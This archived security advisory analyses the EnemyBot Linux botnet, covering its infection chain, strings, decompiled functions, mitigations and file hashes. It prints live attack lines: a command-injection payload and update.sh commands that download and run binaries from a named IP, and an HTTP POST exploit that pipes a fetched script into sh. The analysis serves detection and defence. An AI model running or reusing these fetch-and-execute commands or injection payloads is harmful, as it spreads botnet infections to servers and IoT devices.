Detecting EnemyBot – Securonix Initial Coverage Advisory

Archived: 2026-04-05 21:56:52 UTC

By Securonix Threat Labs, Threat Research: Oleg Kolesnikov, Den Iuzvyk, and Tim Peck

Introduction

Our researchers have identified EnemyBot, a brand new Linux-based botnet. At first glance and by analyzing the initial infection, it appears to cover a wide range of devices and platforms. This report covers technical details including its origin and functionality.

Initial Infection

|echo;cd /tmp || cd /home/$USER || cd /var/run || cd /mnt || cd /data || cd /root || cd /; wget http://198.12.116.254/update.sh -O update.sh; busybox wget http://198.12.116.254/update.sh -O update.sh; curl http://198.12.116.254/update.sh -O update.sh; chm

The initial infection was identified making a drive-by attempt to /shell at a web server with an interesting payload attached to the “value” string. We saw several attempts to download an “update.sh” file using different methods: wget, busybox, and curl.

Taking a closer look at the update.sh script, the malware attempts to download 13 different ELF binaries each compiled for different system architectures. The appended architecture type is appended to the end of the name “enemybot”. Given the wide range of supported architectures, at first glance this botnet should be effective against Linux-based hosts ranging from servers to IoT devices.

- enemybotmips
- enemybotmpsl
- enemybotsh4
- enemybotx86
- enemybotarm7
- enemyboti686
- enemybotppc
- enemyboti586
- enemybotm68k
- enemybotspc
- enemybotarm
- enemybotarm5
- enemybotppc-440fp

Each line of the script attempts to download (again using various methods), set permissions to execute (777), execute from /tmp/ and then delete the original ELF binary.

wget http://198.12.116.254/folder/enemybotx86 -o enemybotx86; busybox wget http://198.12.116.254/folder/enemybotx86 -o enemybotx86; curl http://198.12.116.254/folder/enemybotx86 -o enemybotx86; busybox curl http://198.12.116.254/folder/enemybotx86 -o enemybotx86; ftpget -v -u anonymous -p anonymous -P 21 198.12.116.254 enemybotx86 enemybotx86; busybox ftpget -v -u anonymous -p anonymous -P 21 198.12.116.254 enemybotx86 enemybotx86; chmod 777 enemybotx86; ./enemybotx86; rm -rf enemybotx86

Stage 2 – Pulling Back the Curtain

First, we'll take a look at the "enemybotx86" file that is the system architecture that we're working on as it would land us the most success when executing it in a sandbox.

According to exiftool, the file is indeed a binary executable file in the ELF format (Linux executable).

```
remnux@REMNUX:~/0005/Stage_2$ exiftool enemybotx86.1
ExifTool Version Number         : 12.30
File Name                       : enemybotx86.1
Directory                       : .
File Size                       : 101 KiB
File Modification Date/Time     : 2022:03:11 01:25:39-07:00
File Access Date/Time           : 2022:03:11 14:46:32-07:00
File Inode Change Date/Time     : 2022:03:11 14:45:13-07:00
File Permissions                : -rw-rw-r--
File Type                       : ELF executable
File Type Extension             :
MIME Type                       : application/octet-stream
CPU Architecture                : 64 bit
CPU Byte Order                  : Little endian
Object File Type                : Executable file
CPU Type                        : AMD x86-64
```

Just to get a general idea as to what this binary might be doing, we'll run it against strings and look for anything interesting. The word "enemy" appears to pop up again and again, and in one case is hex formatted:

```
system
shell
echo -e "\x65\x6e\x65\x6d\x79"
enemy
%d.%d.%d.%d
POST /guest_logout.cgi HTTP/1.1
Host: %s:80
User-Agent: Mozilla/5.0
Content-Length: 193
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close
cmac=12%%3Aaf%%3Aaa%%3Abb%%3Acc%%3Add&submit_button=status_guestnet.asp%%0Awget+http%%3A%%2F%%2F198.12.116.254%%2Fup
/status
cd /tmp || cd /home/$USER || cd /var/run || cd /mnt || cd /data || cd /root || cd /; wget http://%s/update.sh -O upd
   |-Destination IP   : %s
   |-Destination Port : %u
   |-Source IP        : %s
   |-Source Port      : %u
   |-TCP Packet count : %d
   /-Data Payload-\
   \-Data Payload-/
```

```
remnux@REMNUX:~/0005/Stage_2$ echo -e "\x65\x6e\x65\x6d\x7
enemy
```

Some other noteworthy and rather curious strings include:

- /Game/Mods/TheCenter/TheCenter_A1_NearB
- /Game/Maps/TheIslandSubMaps/MasterIBLCaptures
- /Game/Maps/TheIslandSubMaps/E3_Far_WIP
- echo -e “\x65\x6e\x65\x6d\x79”
- cmac=12%%3Aaf%%3Aaa%%3Abb%%3Acc%%3Add&submit_button=status_guestnet.asp%%0A
- wget+http%%3A%%2F%%2F198.12.116.254%%2Fupdate.sh+-O-+%%7C+sh%%0Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%%10%%A6G%%00&cip=192.168.100.1
- Determined we already have a instance running on this system!
- Binded and listening on address %d.%d.%d.%d
- decodedshit
- watudoinglookingatdis

Looking for function names, one that stood out was “whatudoinglookingatdis”. Maybe a hello to future researchers?

```
300: 000000000409eed   243 FUNC    GLOBAL DEFAULT    9 deobf
303: 0000000000000000    42 FUNC    GLOBAL DEFAULT  UND _exit
304: 0000000000403349   229 FUNC    GLOBAL DEFAULT    9 szprintf
305: 0000000000000000   106 FUNC    GLOBAL DEFAULT  UND open
306: 0000000000410084   872 FUNC    GLOBAL DEFAULT    9 hide_maps_proc
307: 0000000000000000   417 FUNC    GLOBAL DEFAULT  UND strchr
309: 0000000000000000    99 FUNC    GLOBAL DEFAULT  UND fputs
310: 0000000000402292    95 FUNC    GLOBAL DEFAULT    9 watudoinglookingatdis
312: 0000000000000000    38 FUNC    GLOBAL DEFAULT  UND setsid
313: 0000000000000000   118 FUNC    GLOBAL DEFAULT  UND closedir
315: 000000000040e419   175 FUNC    GLOBAL DEFAULT    9 j83jdt
317: 0000000000403967   109 FUNC    GLOBAL DEFAULT    9 RandString
319: 0000000000000000   100 FUNC    GLOBAL DEFAULT  UND fcntl
321: 00000000004044ca   212 FUNC    GLOBAL DEFAULT    9 dns_format
322: 0000000000000000    40 FUNC    GLOBAL DEFAULT  UND mkdir
324: 0000000000000000    41 FUNC    GLOBAL DEFAULT  UND close
327: 000000000040d47b   125 FUNC    GLOBAL DEFAULT    9 port80_recv_strip_null
331: 000000000040e0ad   876 FUNC    GLOBAL DEFAULT    9 coil_xywz
332: 0000000000000000   449 FUNC    GLOBAL DEFAULT  UND free
334: 0000000000000000   192 FUNC    GLOBAL DEFAULT  UND __fputc_unlocked
335: 0000000000000000    41 FUNC    GLOBAL DEFAULT  UND getsockname
```

Scrubbing the file in a decompile, it appears to feature a host of networking options such as port scanners, TCP/UDP flood options and general system enumeration. Much of the code appears to be encrypted and we encountered some counter forensics which can make static analysis problematic.

```
bVar1 = *param_1;
puVar3 = (undefined4 *)(param_1 + (ulong)(bVar1 & 0xf) * 4);
uVar2 = ntohs(*(uint16_t *)((long)puVar3 + 2));
if ((((uVar2 == 0x50) || (uVar2 == 0x15)) || (uVar2 == 0x19)) ||
   (((uVar2 == 0x29a || (uVar2 == 0x539)) || (uVar2 == 0x1f90)))) {
  source._8_8_ = 0;
  source._0_8_ = (ulong)*(uint *)(param_1 + 0xc) << 0x20;
  dest._8_8_ = 0;
  dest._0_8_ = (ulong)*(uint *)(param_1 + 0x10) << 0x20;
  __fd = socket_connect(ldserver,9);
  pcVar4 = inet_ntoa(dest._4_4_);
  sockprintf(__fd,"   |-Destination IP   : %s",pcVar4);
  sockprintf(__fd,"   |-Destination Port : %u",uVar2);
  pcVar4 = inet_ntoa(source._4_4_);
  sockprintf(__fd,"   |-Source IP        : %s",pcVar4);
  uVar2 = ntohs((uint16_t)*puVar3);
  sockprintf(__fd,"   |-Source Port      : %u",uVar2);
  sockprintf(__fd,"   |-TCP Packet count : %d",tcp);
  sockprintf(__fd,"\n   /-Data Payload-\\");
  sockprintf(__fd,&DAT_00414b81,
             param_1 + (long)(int)((uint)(*(byte *)(puVar3 + 3) >> 4) << 2) +
                       (ulong)(bVar1 & 0xf) * 4,
             param_2 + (uint)(*(byte *)(puVar3 + 3) >> 4) * -4 + (uint)(*param_1 & 0xf) * -4);
  sockprintf(__fd,"   \\-Data Payload-/\n");
  close(__fd);
}
return;
```

The EnemyBot malware also appears to have the ability to steal data via HTTP POST, which in our case, the malware was sending the data back to the original IP address.

```
225         sockprintf(*local_90,
226                    "POST /guest_logout.cgi HTTP/1.1\nHost: %s:80\nUser-Agent: Mozilla/5.0\nContent
                       -Length: 193\nContent-Type: application/x-www-form-urlencoded\nAccept-Encoding:
                        gzip\nConnection: close\n\ncmac=12%%3Aaf%%3Aaa%%3Abb%%3Acc%%3Add&submit_button
                       =status_guestnet.asp%%0Awget+http%%3A%%2F%%2F198.12.116.254%%2Fupdate.sh+-O-+%%
                       7C+sh%%0Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%%10%%A6G%%00&cip=192.168.100.1"
227                    ,local_b8);
```

Just by looking at the export names, we definitely get a better understanding as to what this particular botnet is capable of.

```
port80_conn_table
port80_fake_time
f port80_recv_strip_null
port80_rsck
port80_rsck_out
port80_scanner_pid
port80_scanner_rawpkt
f port80_xywz
```

Upon further analysis, we find some interesting flags which appear to be passed in as arguments. Some of these include Destination IP, Source IP, Destination Port, Source Port, Data Payload, and Packet Count.

The malware also initiates system checks to determine whether or not the malware is already running. After the instance starts there are two possible outputs:

- “Determined we already have a instance running…”
- “Binded and listen on address %d.%d.%d.%d.\n”

```
                    s_cd_/tmp_||_cd_/home/$USER_||_cd_/_004149e0     XREF[2]:     j83jdt:0040e4a0(*),
                                                                                  j83jdt:0040e4a0(*)
004149e0 63 64 20 ...     ds          "cd /tmp || cd /home/$USER || cd /var/run || c...

                    s__|-Destination_IP_:_%s_00414ae5                XREF[2]:     print_tcp_packet:0040e61e(*),
                                                                                  print_tcp_packet:0040e61e(*)
00414ae5 20 20 20 ...     ds          "   |-Destination IP   : %s"

                    s__|-Destination_Port_:_%u_00414b00              XREF[2]:     print_tcp_packet:0040e633(*),
                                                                                  print_tcp_packet:0040e633(*)
00414b00 20 20 20 ...     ds          "   |-Destination Port : %u"

                    s__|-Source_IP_:_%s_00414b1b                     XREF[2]:     print_tcp_packet:0040e653(*),
                                                                                  print_tcp_packet:0040e653(*)
00414b1b 20 20 20 ...     ds          "   |-Source IP        : %s"

                    s__|-Source_Port_:_%u_00414b36                   XREF[2]:     print_tcp_packet:0040e676(*),
                                                                                  print_tcp_packet:0040e676(*)
00414b36 20 20 20 ...     ds          "   |-Source Port      : %u"

                    s__|-TCP_Packet_count_:_%d_00414b51              XREF[2]:     print_tcp_packet:0040e68e(*),
                                                                                  print_tcp_packet:0040e68e(*)
00414b51 20 20 20 ...     ds          "   |-TCP Packet count : %d"

                    s__/-Data_Payload-\_00414b6c                     XREF[2]:     print_tcp_packet:0040e6a0(*),
                                                                                  print_tcp_packet:0040e6a0(*)
00414b6c 0a 20 20 ...     ds          "\n   /-Data Payload-\\"

                    DAT_00414b81                                     XREF[6]:     print_tcp_packet:0040e705(*),
                                                                                  print_tcp_packet:0040e705(*),
                                                                                  hide_maps_proc:004100c0(*),
                                                                                  hide_maps_proc:004100c0(*),
                                                                                  hide_maps_proc:00410106(*),
                                                                                  hide_maps_proc:00410106(*)
00414b81 25               ??          25h    %
00414b82 73               ??          73h    s
00414b83 00               ??          00h

                    s__\-Data_Payload-/_00414b84                     XREF[2]:     print_tcp_packet:0040e717(*),
                                                                                  print_tcp_packet:0040e717(*)
00414b84 20 20 20 ...     ds          "   \\-Data Payload-/\n"
```

```
                    s_Determined_we_already_have_a_ins_00414c10      XREF[2]:     ensure_bind:00410029(*),
                                                                                  ensure_bind:00410029(*)
00414c10 44 65 74 ...     ds          "Determined we already have a instance running...
00414c4e 00               ??          00h
00414c4f 00               ??          00h

                    s_Binded_and_listening_on_address_%_00414c50     XREF[2]:     ensure_bind:0041006e(*),
                                                                                  ensure_bind:0041006e(*)
00414c50 42 69 6e ...     ds          "Binded and listening on address %d.%d.%d.%d\n"
```

Dynamic Analysis of the EnemyBot malware did not provide anything useful as the malware seems to have killed itself soon after execution. There appear to be some baked-in counter forensics that kill the application based on certain detected process names.

Conclusion

The EnemyBot malware appears to follow similar structures and patterns we've seen with other common botnets, with a few changes. There appears to be strong correlation to that of the LolFMe botnet which contains other similar strings such as "watudoinglookingatdis". The LolFMe botnet was quite short-lived and was never popular so it will be interesting to see how far off the ground this particular strain takes us.

Both LolFMe and Mirai botnets leverage multi-architecture support and RCE as the initial foothold. This was also the case for EnemyBot.

Mitigation – Securonix Recommendations

Some possible actions are recommended that can potentially help proactively mitigate the impact of the EnemyBot attacks on your network.

- Ensure systems are fully patched and not vulnerable to RCE
- Patch IoT devices' firmware to the latest versions to mitigate external exploitation
- Employ the usage of layer-7 network monitoring and detection to detect common exploits that may leverage RCE
- Ensure that externally exposed network segments are isolated from internal hosts
- Disable or limit execution from linux /tmp/ directories

Detection and Indicators of Compromise (IoCs):

File Name	sha256
update.sh	cc36cc84d575e953359d82e8716c37ba2cbf20c6d63727ca9e83b53493509723
enemybotarm	52421da5ee839c9bde689312ff35f10e9bcab7edccc12ee1fe16630e20531aaf adb51a8d112590a6fdd02ac8d812b837bbe0fcdd762dba6bbba0bd0b538f9aef
enemybotarm5	498ecf2ce03960a695d4ba92d4d2e6163917686db29393c4b8d8c9d11d19774d 5e56210f15b653e4ea881f25bfa423af4f4c5ee3a7c9386543fde23e0e7169c8
enemybotarm7	7ccffe7a3daa58db665db93f816ab0b5a4e9ce0bc7a2490d885250d267ed4bbc 7635758818ca966288ad10fb3d385c177f8cd5554369eeb28f8b52951004ed89
enemyboti586	f3c4ca5ba23d27a4d297dfef8614b48bbaca6455814d537114f4e6d418f10f47 d9204c9b5018a3028d5c7f966d8c37be9d7d4dd2c5c4cd95cde686cce655c609

enemyboti686	ae9cc1b644ee435bddc57af2eeab05fb0ba0dc2f81473611bd2f39c1d9be1d1c d0b9e7bbf034e501872ecb276b3b670ae175fff09618d9836356d47f677bdbbc
enemybotm68k	5dba7e81c4a03eedee4a33535cfda88d8d178658d0e434ee48bd29d7091c63b5 e4bdf0d87db133824ff183c28c860c08794394eaaf76898899cbeb5f9749ae1f
enemybotmips	22db83f9cc631eb3222444328289a3be787c3a8182ccd8004c6cc2b5dc50a12d aeb9f6999fdc3a3dadbe93ff8a1a2de3ac181b43eddcf208c018db88526b5314
enemybotmpsl	c275a1ec95142b7134d7beb153e6126bda9087c152e69497f1990c39d5045399 6dbb0e96180d0946ddd9ff17908cf830fbff5016ff013891e3fdf3c3b33ef2e6
enemybotppc	ea2ff0c01629bdaecceecc59d93de73f01b7b18146986be114503c086fa29976 7ec1fab277b86e022819c9b5a53be05df2af76c5c19b2aa1cf26590d06dcdbcd
enemybotppc-440fp	908a95c887d4c46e5058db09e85efba023219793b54b5cd7ea03e1b450784111 a33145dc629c7ca76dc5ec0138fe60b06e8c53bd01f1bb90d9a7e21ff0a391e6
enemybotsh4	9bb46cfa321d5aa65960fa4563a50eec40de4e221e360162bae4b4e4b40a3540 058d36172d25e7b3db227c02ffba5be3d1b17d0eef7bfd4029c55b16ac2ab06b
enemybotspc	f36ade94ba4261fdff37d53c7d7c4935374d9263ec4fe92d2bb6c1def5f0783f b2c92609557eaabe108689a17996befeabb48da70053ae6335a1fcd0c1189249
enemybotx86	1a7316d9bb8449cf93a19925c470cc4dbfd95a99c03b10f4038bb2a517d6ed50 12e907fae4427a7b0d68adfb33a5e045971bd755f8b7a48299a27736c24c9929

IP Communication observed:

- 198.12.116.254

Please look out for updates on search queries and detection content from Securonix Threat Labs

We also invite you to send your questions regarding any security advisories to the Securonix Critical Intelligence Advisory team and look forward to being of assistance.

Source: https://www.securonix.com/blog/detecting-the-enemybot-botnet-advisory